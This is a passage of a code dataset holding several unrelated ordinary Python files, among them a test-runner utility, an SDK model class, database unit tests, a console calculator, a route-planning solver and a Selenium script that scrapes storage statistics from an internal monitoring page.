\"taxonomy\":\n return self.taxonomy\n try:\n return self._get_parameter(key)\n except KeyError:\n pass\n try:\n return self._get_value(key)\n except KeyError:\n raise PartError(f\"'{key}' parameter not in part {self.part_number}\")\n\n def index_regex(self, pattern):\n \"\"\"Index the part by regular expression.\"\"\"\n try:\n return self._dict_index_by_regex(self._parameters, pattern)\n except KeyError:\n pass\n return self._dict_index_by_regex(self._dict, pattern)\n","repo_name":"alutwak/Parts","sub_path":"part.py","file_name":"part.py","file_ext":"py","file_size_in_byte":3730,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"} +{"seq_id":"70501144696","text":"import abc\nimport filecmp\nimport os\nimport shutil\nimport subprocess\nimport tempfile\nfrom dataclasses import dataclass, field\nfrom pathlib import Path\nfrom subprocess import PIPE\nfrom typing import Dict, List, Optional, Sequence, Type, Union\n\nimport numpy as np\n\nfrom slamcore_utils.fs import safe_rmtree\nfrom slamcore_utils.logging import logger\nfrom slamcore_utils.string import get_rand_string\n\n\ndef data_path_fn(test_name: str):\n \"\"\"\n Declare the data path for the tests at hand.\n\n Replace this with a function that returns the root tests location for your own module.\n \"\"\"\n return (\n Path(__file__).absolute().parent.parent\n / \"tests\"\n / \"test_data\"\n / \"executables\"\n / str(test_name).replace(\"-\", \"_\")\n )\n\n\nclass FileComparator(abc.ABC):\n @abc.abstractmethod\n def __call__(self, file: Path, expected_file: Path):\n raise\n\n\nclass CsvFileComparator(FileComparator):\n def __call__(self, file: Path, expected_file: Path):\n \"\"\"Compare two csv files.\n\n Assert that their contents are close. We assume that these files can be loaded via\n np.loadtxt.\n \"\"\"\n try:\n # load and try comparing as numeric arrays. Assume first row is a header and always\n # skip it. Will fail if the values in the CSV are not exclusively numeric\n arr = np.loadtxt(fname=file, delimiter=\",\", skiprows=1)\n arr_expected = np.loadtxt(fname=expected_file, delimiter=\",\", skiprows=1)\n assert np.allclose(arr, arr_expected), (\n \"Output file contents don't match the expected contents.\"\n f\"Take a look at the following files: {file.absolute()} | {expected_file.absolute()}\"\n )\n except ValueError:\n logger.warning(\n \"Cannot currently compare CSVs as they have non-numeric values\\n\"\n f\"\\t- {file}\\n\"\n f\"\\t- {expected_file}\\n\"\n )\n\n\nclass GenericComparator(FileComparator):\n def __call__(self, file: Path, expected_file: Path):\n \"\"\"\n Assert that the contents of the two given files are the same using `filecmp.cmp`.\n \"\"\"\n assert filecmp.cmp(file, expected_file, shallow=False), (\n \"Output file contents don't match the expected contents. \"\n f\"Take a look at the following files:{file.absolute()} {expected_file.absolute()}\"\n )\n\n\nclass AlwaysTrueComparator(FileComparator):\n def __call__(self, file: Path, expected_file: Path):\n assert True\n\n\n_suffix_to_handler: Dict[str, Type[FileComparator]] = {\n \".csv\": CsvFileComparator,\n # # do not try to compare PDF / PNG files - too fragile\n \".pdf\": AlwaysTrueComparator,\n \".png\": AlwaysTrueComparator,\n}\n\n\ndef compare_dirs(directory: Path, expected_directory: Path):\n \"\"\"Iteratively compare two directory structures.\n\n Delegate the actual comparison to the corresponding handler for each file.\n E.g., for CSVs it will call the `compare_csvs` method on these files.\n \"\"\"\n directory = directory.resolve()\n\n # make sure that they have the same number of files and the same names\n iterdir = list(directory.iterdir())\n expected_iterdir = list(expected_directory.iterdir())\n assert len(iterdir) == len(\n expected_iterdir\n ), \"Mismatch between number of files in generated and expected directories, len(iterdir) != len(expected_iterdir)\"\n\n for file in iterdir:\n # find the corresponding file in the expected directory\n path_full = directory / file\n expected_path_full = expected_directory / file.name\n\n if path_full.is_dir():\n assert (\n expected_path_full.is_dir()\n ), f\"Expected directory was not generated as expected -> {expected_path_full}\"\n\n # traverse this directory as well\n compare_dirs(path_full, expected_path_full)\n else:\n assert (\n expected_path_full.is_file()\n ), f\"Expected file was not generated as expected -> {expected_path_full}\"\n comparator = _suffix_to_handler.get(file.suffix, GenericComparator)()\n comparator(path_full, expected_path_full)\n\n\n@dataclass\nclass UT_Command:\n # name of the test case at hand\n test_name: str\n # Either specify exec_path and args above OR command\n # Specifying the command will override the exec_path and args fields and vice-versa\n exec_path: Optional[Union[Path, str]] = None # type: ignore\n args: List[str] = field(default_factory=list)\n command: Optional[str] = None\n # List of files and directories it outputs\n outputs: List[Union[str, Path]] = field(default_factory=list) # type: ignore\n # Expected return code\n return_code: int = 0\n # Whether its stderr, stdout contains specific strings\n stdout_contains: Optional[List[str]] = None\n stderr_contains: Optional[List[str]] = None\n cd_test_dir: bool = False\n\n def __post_init__(self):\n # effectively always use self.exec_path and self.args instead of self.command.\n # however, we fill self.command anyway to potentially use it in debugging.\n if self.exec_path is not None and self.args:\n assert self.command is None, (\n \"You have specified both the exec_path,args pair as well as the command string.\"\n \" You have to specify only one of the above\"\n )\n if not self.args:\n self.command = str(self.exec_path)\n else:\n self.command = f'{self.exec_path} {\" \".join(self.args)}'\n\n self.exec_path: Path = self.exec_path\n\n else:\n assert self.command is not None, (\n \"You have specified both the exec_path,args pair as well as the command string.\"\n \" You have to specify only one of the above\"\n )\n exec_path_and_args = self.command.split(\" \")\n self.exec_path = Path(exec_path_and_args[0])\n self.args = exec_path_and_args[1:]\n\n self.test_name = self.test_name.replace(\"-\", \"_\")\n self.outputs: List[Path] = [Path(output) for output in self.outputs]\n\n def run(self):\n \"\"\"Run the test case.\"\"\"\n exec_path = self.exec_path\n args = self.args\n outputs = self.outputs\n expected_return_code = self.return_code\n stderr_contains = self.stderr_contains\n stdout_contains = self.stdout_contains\n cd_test_dir = self.cd_test_dir\n data_path = data_path_fn(test_name=self.test_name)\n # output paths that are relative must be relative with regards to the \"test_data\"\n # directory for the test case at hand.\n for i in range(len(outputs)):\n if not outputs[i].is_absolute():\n outputs[i] = data_path / outputs[i]\n\n # mark the files to be generated by the test case -------------------------------------\n to_remove: List[Path] = []\n to_restore: List[Path] = []\n to_restore_backup: List[Path] = []\n for output in outputs:\n if output.exists():\n to_restore.append(output)\n backup_dir = (\n Path(tempfile.gettempdir()) / f\"slamcore_utils_{get_rand_string(len=5)}\"\n )\n shutil.copytree(output, backup_dir)\n to_restore_backup.append(Path(backup_dir))\n else:\n to_remove.append(output)\n\n s = \"\"\n if to_remove:\n s = \"\\nWill automatically remove the following files/directories\\n\\n \\t- \"\n s += \"\\n \\t- \".join(map(str, to_remove))\n if to_restore:\n s += \"\\n\"\n s += \"\\nWill preserve the following files/directories\\n\\n \\t- \"\n s += \"\\n \\t- \".join(map(str, to_restore))\n s += \"\\n\"\n\n if s:\n logger.info(f\"\\n{s}\\n\")\n\n try:\n # change directory? ---------------------------------------------------------------\n if cd_test_dir:\n try:\n oldpwd = Path(\".\").absolute()\n os.chdir(data_path)\n except FileNotFoundError:\n raise RuntimeError(\n f'Could not `cd` into \"{data_path}\".\\n'\n \" Please make sure that path is there or specify that you \"\n \"don't need an output directory - see `cd_test_dir` flag\"\n )\n\n # run it --------------------------------------------------------------------------\n cmd = [exec_path, *args]\n proc = subprocess.run(cmd, stdout=PIPE, stderr=PIPE, check=False)\n stdout, stderr = proc.stdout, proc.stderr\n stdout = stdout.decode(\"utf-8\")\n stderr = stderr.decode(\"utf-8\")\n\n # assert error code ---------------------------------------------------------------\n if proc.returncode != expected_return_code:\n assert False, (\n \"Got an unexpected error code, \"\n f\"{proc.returncode} instead of the expected {expected_return_code} - \"\n f\"stdout: {stdout} | stderr: {stderr}\"\n )\n\n # assert stdout/err ---------------------------------------------------------------\n if stdout_contains is not None:\n for stdout_sample in stdout_contains:\n assert stdout_sample in stdout, (\n \"Required stdout string not found, \"\n f\"[{stdout}] should have contained [{stdout_sample}]\"\n )\n\n if stderr_contains is not None:\n for stderr_sample in stderr_contains:\n assert stderr_sample in stderr, (\n \"Required stderr string not found, \"\n f\"[{stderr}] should have contained [{stderr_sample}]\"\n )\n\n # assert all the required files are actually there --------------------------------\n for output in outputs:\n expected_output = output.parent / f\"expected_{output.name}\"\n # make sure that the expected output files were generated\n assert (\n output.exists()\n ), f\"Output file/directory {output} was not generated as was expected\"\n\n # if there's an expected output file then make sure that the output is\n # identical ot the expected output. For example, for a file named\n # `path/to/output/`, its optional expected output is\n # `/path/to/output/expected_`\n if expected_output.exists():\n if output.is_file() and expected_output.is_file():\n # find the appropriate function to compare these files with,\n # otherwise, resort to the default handler\n comparator = _suffix_to_handler.get(output.suffix, GenericComparator)()\n comparator(output, expected_output)\n\n elif output.is_dir() and expected_output.is_dir():\n compare_dirs(output, expected_output)\n else:\n raise RuntimeError(\n \"Mismatched types of the expected and the generated output. One is a file, the other a directory\"\n )\n else:\n logger.info(\n f\"No expected file/directory found to compare the generated output -> {output}\"\n )\n\n finally:\n # Cleanup created files -----------------------------------------------------------\n for output in outputs:\n try:\n if output.is_file():\n output.unlink()\n else:\n safe_rmtree(output)\n except:\n pass\n\n # Restore files that were already there -------------------------------------------\n for output_i, output in enumerate(to_restore):\n try:\n if output.is_file():\n shutil.copy2(to_restore_backup[output_i], output)\n to_restore_backup[output_i].unlink()\n else:\n shutil.copytree(to_restore_backup[output_i], output)\n safe_rmtree(to_restore_backup[output_i])\n except:\n pass\n\n # change back to starting dir -----------------------------------------------------\n if cd_test_dir:\n os.chdir(oldpwd) # type: ignore\n\n\n# Helper commands around UT_Command -----------------------------------------------------------\ndef get_test_noargs_cmds(exec_path) -> UT_Command:\n return UT_Command(\n test_name=f\"{exec_path}_noargs\",\n exec_path=exec_path,\n args=[],\n outputs=[],\n return_code=2,\n )\n\n\ndef get_test_help_cmds(exec_path) -> Sequence[UT_Command]:\n return (\n UT_Command(\n test_name=f\"{exec_path}_help\", exec_path=exec_path, args=[\"-h\"], outputs=[]\n ),\n UT_Command(\n test_name=f\"{exec_path}_help2\", exec_path=exec_path, args=[\"--help\"], outputs=[]\n ),\n )\n\n\ndef get_std_usage_cmds(exec_path) -> Sequence[UT_Command]:\n \"\"\"Wrapper around get_test_noargs_cmds and get_test_help_cmds.\"\"\"\n return (\n *get_test_help_cmds(exec_path),\n get_test_noargs_cmds(exec_path),\n )\n\n\ndef run_UT_commands(*commands: UT_Command):\n \"\"\"Process all the UT commands.\"\"\"\n for command in commands:\n command.run()\n","repo_name":"slamcore/slamcore-utils","sub_path":"slamcore_utils/test_utils.py","file_name":"test_utils.py","file_ext":"py","file_size_in_byte":13761,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"22"} +{"seq_id":"43056600390","text":"\"\"\"This module contains the general information for AdaptorFcPortPLogiProfile ManagedObject.\"\"\"\n\nfrom ...ucscmo import ManagedObject\nfrom ...ucsccoremeta import UcscVersion, MoPropertyMeta, MoMeta\nfrom ...ucscmeta import VersionMeta\n\n\nclass AdaptorFcPortPLogiProfileConsts():\n pass\n\n\nclass AdaptorFcPortPLogiProfile(ManagedObject):\n \"\"\"This is AdaptorFcPortPLogiProfile class.\"\"\"\n\n consts = AdaptorFcPortPLogiProfileConsts()\n naming_props = set([])\n\n mo_meta = MoMeta(\"AdaptorFcPortPLogiProfile\", \"adaptorFcPortPLogiProfile\", \"fc-port-plogi\", VersionMeta.Version111a, \"InputOutput\", 0x3f, [], [\"admin\", \"ls-config-policy\", \"ls-server-policy\", \"ls-storage\"], [u'adaptorHostFcIfProfile'], [], [\"Get\", \"Set\"])\n\n prop_meta = {\n \"child_action\": MoPropertyMeta(\"child_action\", \"childAction\", \"string\", VersionMeta.Version111a, MoPropertyMeta.INTERNAL, None, None, None, r\"\"\"((deleteAll|ignore|deleteNonPresent),){0,2}(deleteAll|ignore|deleteNonPresent){0,1}\"\"\", [], []), \n \"dn\": MoPropertyMeta(\"dn\", \"dn\", \"string\", VersionMeta.Version111a, MoPropertyMeta.READ_ONLY, 0x2, 0, 256, None, [], []), \n \"retries\": MoPropertyMeta(\"retries\", \"retries\", \"uint\", VersionMeta.Version111a, MoPropertyMeta.READ_WRITE, 0x4, None, None, None, [], [\"0-255\"]), \n \"rn\": MoPropertyMeta(\"rn\", \"rn\", \"string\", VersionMeta.Version111a, MoPropertyMeta.READ_ONLY, 0x8, 0, 256, None, [], []), \n \"status\": MoPropertyMeta(\"status\", \"status\", \"string\", VersionMeta.Version111a, MoPropertyMeta.READ_WRITE, 0x10, None, None, r\"\"\"((removed|created|modified|deleted),){0,3}(removed|created|modified|deleted){0,1}\"\"\", [], []), \n \"timeout\": MoPropertyMeta(\"timeout\", \"timeout\", \"uint\", VersionMeta.Version111a, MoPropertyMeta.READ_WRITE, 0x20, None, None, None, [], [\"1000-255000\"]), \n }\n\n prop_map = {\n \"childAction\": \"child_action\", \n \"dn\": \"dn\", \n \"retries\": \"retries\", \n \"rn\": \"rn\", \n \"status\": \"status\", \n \"timeout\": \"timeout\", \n }\n\n def __init__(self, parent_mo_or_dn, **kwargs):\n self._dirty_mask = 0\n self.child_action = None\n self.retries = None\n self.status = None\n self.timeout = None\n\n ManagedObject.__init__(self, \"AdaptorFcPortPLogiProfile\", parent_mo_or_dn, **kwargs)\n\n","repo_name":"CiscoUcs/ucscsdk","sub_path":"ucscsdk/mometa/adaptor/AdaptorFcPortPLogiProfile.py","file_name":"AdaptorFcPortPLogiProfile.py","file_ext":"py","file_size_in_byte":2300,"program_lang":"python","lang":"en","doc_type":"code","stars":11,"dataset":"github-code","pt":"22"} +{"seq_id":"2649706890","text":"import logging\nfrom dao.datasource import *\nfrom dao.sequence_entity import *\nimport unittest\nfrom sqlalchemy.orm import sessionmaker\nfrom sqlalchemy.orm.exc import NoResultFound\n\n\ndef _set_up_baseline_seq(seq_ids):\n seqs = []\n for seq_id in seq_ids:\n seq = SequenceEntity()\n seq.seq_id = seq_id\n seq.seq = 'ABCDEFG'\n seq.baseline = True\n seqs.append(seq)\n with session_scope() as session:\n session.add_all(seqs)\n\n\nclass TestSequenceEntity(unittest.TestCase):\n def setUp(self):\n logging.getLogger('sqlalchemy').setLevel(logging.INFO)\n Base.metadata.drop_all(engine)\n Base.metadata.create_all(engine)\n self.session = Session()\n\n seqs = []\n for i in range(0, 10):\n seq = SequenceEntity()\n seq.seq_id = str.format('ABCDEFG_{}', i)\n seq.seq = str.format('ABCDEFGSEQ{}', i)\n seqs.append(seq)\n self.session.add_all(seqs)\n self.session.commit()\n\n def test_add_seq(self):\n add_seq(self.session, 'SEQID1', 'SEQABCDEFG')\n self.session.commit()\n seq = find_seq_by_id(self.session, 'SEQID1')\n self.assertIsNotNone(seq)\n self.assertEqual('SEQID1', seq.seq_id)\n self.assertEqual('SEQABCDEFG', seq.seq)\n\n add_seq(self.session, 'SEQID2', 'SEQABC', 'SEQSS', 'SEQSS8', 'SEQACC', 'SEQACC20')\n self.session.commit()\n seq = find_seq_by_id(self.session, 'SEQID2')\n self.assertIsNotNone(seq)\n self.assertEqual('SEQID2', seq.seq_id)\n self.assertEqual('SEQABC', seq.seq)\n self.assertEqual('SEQSS', seq.ss)\n self.assertEqual('SEQSS8', seq.ss8)\n self.assertEqual('SEQACC', seq.acc)\n self.assertEqual('SEQACC20', seq.acc20)\n\n def test_seq_exists(self):\n self.assertTrue(seq_exists(self.session, 'ABCDEFG_0'))\n self.assertTrue(seq_exists(self.session, 'ABCDEFG_1'))\n self.assertTrue(seq_exists(self.session, 'ABCDEFG_5'))\n self.assertTrue(seq_exists(self.session, 'ABCDEFG_9'))\n self.assertFalse(seq_exists(self.session, 'ABCDEFG_10'))\n\n def test_find_seq_by_id(self):\n self.assertIsNotNone(find_seq_by_id(self.session, 'ABCDEFG_0'))\n try:\n find_seq_by_id(self.session, 'ABC')\n except NoResultFound:\n pass\n else:\n self.assertFalse(True, \"The seq ABC should not exists\")\n\n def test_update_seq_for_scratch_result(self):\n with session_scope() as session:\n update_seq_for_scratch_result(session, 'ABCDEFG_0', 'ABCSS', 'ABCSS8', 'ABCACC', 'ABCACC20')\n seq = find_seq_by_id(self.session, 'ABCDEFG_0')\n self.assertIsNotNone(seq)\n self.assertEqual('ABCSS', seq.ss)\n self.assertEqual('ABCSS8', seq.ss8)\n self.assertEqual('ABCACC', seq.acc)\n self.assertEqual('ABCACC20', seq.acc20)\n\n def test_find_all_seq_ids(self):\n with query_session() as session:\n seq_ids = find_all_seq_ids(session)\n self.assertEqual(10, len(seq_ids))\n expect_seq_ids = set([str.format('ABCDEFG_{}', i) for i in range(0,10)])\n self.assertEqual(expect_seq_ids, set(seq_ids))\n\n def test_find_seqs_by_baseline(self):\n baseline_seq_ids = ['SEQ1', 'SEQ2', 'SEQ3']\n _set_up_baseline_seq(baseline_seq_ids)\n with query_session() as session:\n seqs = find_seqs_by_baseline(session)\n self.assertEqual(3, len(seqs))\n self.assertListEqual(baseline_seq_ids, [seq.seq_id for seq in seqs])\n\n def test_update_subgroup_by_seq_ids(self):\n with session_scope() as session:\n update_subgroup_by_seq_ids(session, ['ABCDEFG_1', 'ABCDEFG_2', 'ABCDEFG_5'], '7-1')\n\n with query_session() as session:\n seqs = find_all_seqs(session)\n seq_ids_to_seq = dict([(seq.seq_id, seq) for seq in seqs])\n\n seq = seq_ids_to_seq['ABCDEFG_1']\n self.assertEqual('7-1', seq.subgroup)\n self.assertEqual('ABCDEFGSEQ1', seq.seq)\n\n seq = seq_ids_to_seq['ABCDEFG_2']\n self.assertEqual('7-1', seq.subgroup)\n self.assertEqual('ABCDEFGSEQ2', seq.seq)\n\n seq = seq_ids_to_seq['ABCDEFG_3']\n self.assertIsNone(seq.subgroup)\n self.assertEqual('ABCDEFGSEQ3', seq.seq)\n\n seq = seq_ids_to_seq['ABCDEFG_5']\n self.assertEqual('7-1', seq.subgroup)\n self.assertEqual('ABCDEFGSEQ5', seq.seq)\n\n\n def test_find_seqs_by_subgroups(self):\n with session_scope() as session:\n update_subgroup_by_seq_ids(session, ['ABCDEFG_1', 'ABCDEFG_2', 'ABCDEFG_5'], '7-1')\n update_subgroup_by_seq_ids(session, ['ABCDEFG_0', 'ABCDEFG_6', 'ABCDEFG_8'], '10')\n update_subgroup_by_seq_ids(session, ['ABCDEFG_8', 'ABCDEFG_7'], '11')\n\n with query_session() as session:\n seqs = find_seqs_by_subgroups(session, ['7-1', '11'])\n self.assertEqual(5, len(seqs))\n seq_ids_to_seq = dict([(seq.seq_id, seq) for seq in seqs])\n self.assertSetEqual({'ABCDEFG_1', 'ABCDEFG_2', 'ABCDEFG_5', 'ABCDEFG_8', 'ABCDEFG_7'}, set(seq_ids_to_seq.keys()))\n self.assertEqual('7-1', seq_ids_to_seq['ABCDEFG_1'].subgroup)\n self.assertEqual('7-1', seq_ids_to_seq['ABCDEFG_2'].subgroup)\n self.assertEqual('7-1', seq_ids_to_seq['ABCDEFG_5'].subgroup)\n self.assertEqual('11', seq_ids_to_seq['ABCDEFG_7'].subgroup)\n self.assertEqual('11', seq_ids_to_seq['ABCDEFG_8'].subgroup)\n\n\nif __name__ == \"__main__\":\n unittest.main()\n","repo_name":"phytolrr/phytolrr","sub_path":"tests/test_sequence_entity.py","file_name":"test_sequence_entity.py","file_ext":"py","file_size_in_byte":5511,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"22"} +{"seq_id":"6778214073","text":"from .models import Technician, AutomobileVO, Appointment\nfrom common.json import ModelEncoder\n\n\nclass AutomobileVODetailEncoder(ModelEncoder):\n model = AutomobileVO\n properties = [\n \"vin\",\n \"sold\",\n ]\n\n\nclass TechnicianDetailEncoder(ModelEncoder):\n model = Technician\n properties = [\"first_name\", \"last_name\", \"employee_id\", \"id\"]\n\n\nclass AppointmentDetailEncoder(ModelEncoder):\n model = Appointment\n properties = [\n \"date_time\",\n \"reason\",\n \"status\",\n \"customer\",\n \"vin\",\n \"technician\",\n \"id\",\n ]\n\n encoders = {\n \"technician\": TechnicianDetailEncoder(),\n }\n","repo_name":"codewithtrey/CarCar","sub_path":"service/api/service_rest/encoders.py","file_name":"encoders.py","file_ext":"py","file_size_in_byte":659,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"} +{"seq_id":"19198307222","text":"import math\r\n\r\nprint(\"Simple Calculator\")\r\nprint(\"1.Add\")\r\nprint(\"2.Substract\")\r\nprint(\"3.Multiply\")\r\nprint(\"4.Divide\")\r\nprint(\"5.Square\")\r\nprint(\"6.Power\")\r\nprint(\"7.Square Root\")\r\nprint(\"8.Odd/Even\")\r\nprint(\"9.Check if Prime\")\r\nprint(\"10.Log\")\r\nprint(\"11.Quit\")\r\n\r\nwhile True:\r\n option = int(input(\"Enter a number to excute operation: \"))\r\n\r\n if option == 11:\r\n break\r\n\r\n elif option == 1:\r\n number1 = float(input(\"Enter first number: \"))\r\n number2 = float(input(\"Enter second number: \"))\r\n print(number1 + number2)\r\n \r\n elif option == 2:\r\n number1 = float(input(\"Enter first number: \"))\r\n number2 = float(input(\"Enter second number: \"))\r\n print(number1 - number2)\r\n \r\n elif option == 3:\r\n number1 = float(input(\"Enter first number: \"))\r\n number2 = float(input(\"Enter second number: \"))\r\n print(number1 * number2)\r\n \r\n elif option == 4:\r\n number1 = float(input(\"Enter first number: \"))\r\n number2 = float(input(\"Enter second number: \"))\r\n print(number1 / number2)\r\n \r\n elif option == 5:\r\n number1 = float(input(\"Enter a number: \"))\r\n print(number1**2)\r\n \r\n elif option == 6:\r\n number1 = float(input(\"Enter the number to find its value: \"))\r\n number2 = float(input(\"Enter a value of power: \"))\r\n print(number1 ** number2)\r\n \r\n elif option == 7:\r\n number1 = float(input(\"Enter a number: \"))\r\n print(number1 ** 0.5)\r\n \r\n elif option == 8:\r\n number1 = float(input(\"Enter a number: \"))\r\n if number1%2==0:\r\n print(\"Even\")\r\n else:\r\n print(\"Odd\")\r\n \r\n elif option == 9:\r\n def prime_no(n) :\r\n if (n <= 1) :\r\n return False\r\n if (n <= 3) :\r\n return True\r\n if (n % 2 == 0 or n % 3 == 0) :\r\n return False\r\n temp = 5\r\n while(temp * temp <= n) :\r\n if (n % temp == 0 or n % (temp + 2) == 0) :\r\n return False\r\n temp = temp + 6\r\n\r\n return True\r\n number = int(input(\"Enter a number to check if it is a prime no: \"))\r\n print(\"You entered {}.\".format(number))\r\n\r\n if prime_no(number):\r\n print(\"And the number {} is a Prime Number\".format(number))\r\n else:\r\n print(\"And the number {} is not a Prime Number.\".format(number))\r\n\r\n elif option == 10:\r\n base = float(input(\"\\nEnter logarithm base: \"))\r\n x = float(input(\"Enter number to calculate: \"))\r\n log = math.log(x, base)\r\n print(f\"\\nLog {base} ({x}) = {log:.2f}\\n\")\r\n\r\n else :\r\n print(\"Invalid Input\")\r\n\r\nprint(\"EXIT\")\r\n","repo_name":"Gourav8152-ai/Calculator","sub_path":"calculator.py","file_name":"calculator.py","file_ext":"py","file_size_in_byte":2752,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"} +{"seq_id":"2181001290","text":"from file import File\nfrom matrix import Matrix\nfrom route import Route\nfrom output import Output\nfrom order import Order\nimport copy\n\n\nclass Problem:\n \"\"\"\n Erstellt und löst das Problem. Hat die folgenden Attribute:\n - name: Name des Problems\n - capacity: Kapazität des Lieferwagens\n - nodeStatement: In der Datei angegebene Anzahl der Knoten\n - nodes: Klasse Nodes mit Sammlung an Knoten\n \"\"\"\n def __init__(self, attributes):\n self.__dict__.update(attributes)\n #self.matrix = Matrix(self.nodes) Wird gegenwärtig nicht benötigt\n\n @staticmethod\n def createFromFile(filename):\n \"\"\"Erstellt ein Objekt und füllt es aus einer Datei.\"\"\"\n return Problem( File(filename).importLines().__dict__ )\n\n def findRouteByInput(self):\n \"\"\"Berechnet die Route nach Reihenfolge der Eingabe (Kontrollgröße).\"\"\"\n return self.drive(self.getNodes())\n\n def findRouteByDistance(self):\n \"\"\"\n Startet am wichtigsten Knoten und geht immer zum nächst liegenden.\n Der wichtigste Knoten setzt sich aus Profit und Gewicht zusammen.\n \"\"\"\n start = self.nodes.sortByPriority().first()\n nodes = self.getNodes().sortByDistanceTo(start)\n return self.drive(nodes)\n\n def findRouteByPriority(self):\n \"\"\"Geht durch die wichtigsten Punkte\"\"\"\n return self.drive(self.getNodes().sortByPriority())\n\n def findRouteByWeight(self):\n \"\"\"Geht durch die leichtesten Punkte\"\"\"\n return self.drive(self.getNodes().sortByWeight())\n\n def findRouteByProfit(self):\n \"\"\"Geht durch die profitabelsten Punkte\"\"\"\n return self.drive(self.getNodes().sortByProfit())\n\n def findRouteByCircles(self):\n \"\"\"Betrachtet die Umgebung der wichtigsten Punkte und berechnet die Effizienz\"\"\"\n nodesToCheck = self.getNodes().sortByPriority()\n numberOfChecks = self.numberOfChecks(nodesToCheck)\n nodesToCheck.setPointer(numberOfChecks - 1).deleteFromHere().all()\n checks = []\n for node in nodesToCheck.all():\n nodesFromHere = copy.copy(self.nodes).sortByDistanceTo(node)\n nodesFromHere.fillCapacity(self.capacity)\n checks.append({\n 'nodes': nodesFromHere,\n 'profit': nodesFromHere.calcProfit(),\n 'weight': nodesFromHere.calcWeight(),\n 'radius': nodesFromHere.first().distanceTo(nodesFromHere.last())\n })\n for check in checks:\n check.update({'profitPerRadius': check['profit'] / check['radius']})\n bestCheck = max(checks, key=lambda x:x['profitPerRadius'])\n return self.drive(bestCheck['nodes'])\n\n def numberOfChecks(self, nodes):\n \"\"\"Berechnet die Anzahl der Knoten, deren Umfeld bei findRouteByCircles betrachtet werden\"\"\"\n numberOfChecks = nodes.length() / 10\n numberOfChecks = max(numberOfChecks, 10)\n numberOfChecks = min(numberOfChecks, 100)\n return numberOfChecks\n\n def solve(self):\n \"\"\"Betrachtet alle Lösungen und gibt den profitabelsten Weg zurück\"\"\"\n solvations = [\n self.findRouteByInput(),\n self.findRouteByDistance(),\n self.findRouteByPriority(),\n self.findRouteByWeight(),\n self.findRouteByProfit(),\n self.findRouteByCircles()\n ]\n maxPoints = 0\n bestSolvation = None\n for solvation in solvations:\n #print(solvation.points) # Hier werden alle Zwischenergebnisse der kalkulierten Routen ausgegeben\n if solvation.points > maxPoints:\n maxPoints = solvation.points\n bestSolvation = solvation\n return bestSolvation\n\n def drive(self, nodes):\n \"\"\"Erstellt eine Route und geht die Punkte durch.\"\"\"\n return Route(Order(nodes.fillCapacity(self.capacity)).run()).drive(self.capacity)\n\n def getNodes(self):\n \"\"\"Erstellt eine Kopie der Sammlung von Knoten.\"\"\"\n return copy.deepcopy(self.nodes)\n","repo_name":"ya-cha/tour-planner","sub_path":"problem.py","file_name":"problem.py","file_ext":"py","file_size_in_byte":4028,"program_lang":"python","lang":"de","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"} +{"seq_id":"11872213273","text":"#!/usr/bin/env python\r\n# -*- coding: UTF-8 -*-\r\n'''\r\nXML2Dict: Convert xml and python dict\r\n\r\n@since: Created on 2009-5-18\r\n@author: Mc.Spring\r\n@contact: Heresy.Mc@gmail.com\r\n@copyright: Copyright (C) 2009 MC.Spring Team. All rights reserved.\r\n@license: http://www.apache.org/licenses/LICENSE-2.0 Apache License\r\n'''\r\n\r\n__version__ = '0.2.2'\r\n__all__ = [\r\n 'parsexml', 'parsedict',\r\n 'XML2Dict', 'Dict2XML',\r\n]\r\n\r\n__author__ = 'Mc.Spring '\r\n\r\n\r\nfrom encoder import XML2Dict\r\nfrom decoder import Dict2XML\r\n\r\n\r\ndef parsexml(s, cls=None, coding=None):\r\n if cls is None:\r\n cls = XML2Dict\r\n\r\n return cls(coding).parse(s) if coding else cls().parse(s)\r\n\r\n\r\ndef parsedict(d, cls=None):\r\n if cls is None:\r\n cls = Dict2XML\r\n\r\n return cls().parse(d)\r\n","repo_name":"mcspring/XML2Dict","sub_path":"__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":794,"program_lang":"python","lang":"en","doc_type":"code","stars":32,"dataset":"github-code","pt":"22"} +{"seq_id":"16937574562","text":"from selenium import webdriver\nfrom selenium.webdriver.common.by import By\nfrom docx import Document\nfrom docx.shared import RGBColor\nfrom docx.shared import Pt, Cm\nfrom docx.enum.text import WD_PARAGRAPH_ALIGNMENT\nimport re\nimport time\nimport datetime\nimport pyperclip as pc\nimport os\n\ninsight_url = \"https://172.23.11.100/login\"\ndocx_path = r\"C:\\Users\\zxc578623\\Desktop\\工作紀錄.docx\"\nimgdir_path = r\"C:\\Users\\zxc578623\\Documents\\\\\"\nfinished_path = r\"C:\\Users\\zxc578623\\Desktop\\工作紀錄-完成.docx\"\n\n\nclass Insight:\n def __init__(self, account, password):\n self.docx = None\n self.check = None\n self.new_text2 = None\n self.driver = None\n self.account = account\n self.password = password\n\n def open_chrome(self):\n self.driver = webdriver.Chrome(\"chromedriver.exe\")\n\n def connect(self):\n options = webdriver.ChromeOptions()\n options.add_argument('ignore-certificate-errors')\n self.driver = webdriver.Chrome(options=options)\n self.driver.get(insight_url)\n time.sleep(2)\n self.driver.find_element(By.ID, \"username\").send_keys(self.account)\n self.driver.find_element(By.ID, \"password\").send_keys(self.password)\n time.sleep(1)\n self.driver.find_element(By.ID, \"authform\").click()\n time.sleep(5)\n\n def get_data(self):\n today = time.strftime(\"%#m/%#d\", time.localtime())\n list1 = []\n # -----爬取 剩餘空間-----\n text = self.driver.find_element(By.XPATH, \"//*[@id='ext-comp-1015']\").text\n for word in text.splitlines(keepends=True):\n new_word = str(word)\n new_word = re.sub(\"\\n\", \"\", new_word).replace(\"TiB\", \"TB\")\n list1.append(new_word)\n # # -----爬取 Datastore Usage-----\n # text2 = self.driver.find_element(By.ID, \"app_status_ds\").text\n # self.new_text2 = text2.split(\" \")\n\n # -----複製結果-----\n self.text = today + \" :\" + list1[3] + \" & \"\n pc.copy(self.text)\n self.check = re.sub(\"%\", \"\", self.new_text2[2])\n\n print(\"=======================================================\")\n print(self.text + self.new_text2[2])\n print(\"結果已複製到Word\")\n self.driver.close()\n\n def edit_text_to_docx(self):\n self.docx = Document(docx_path)\n # 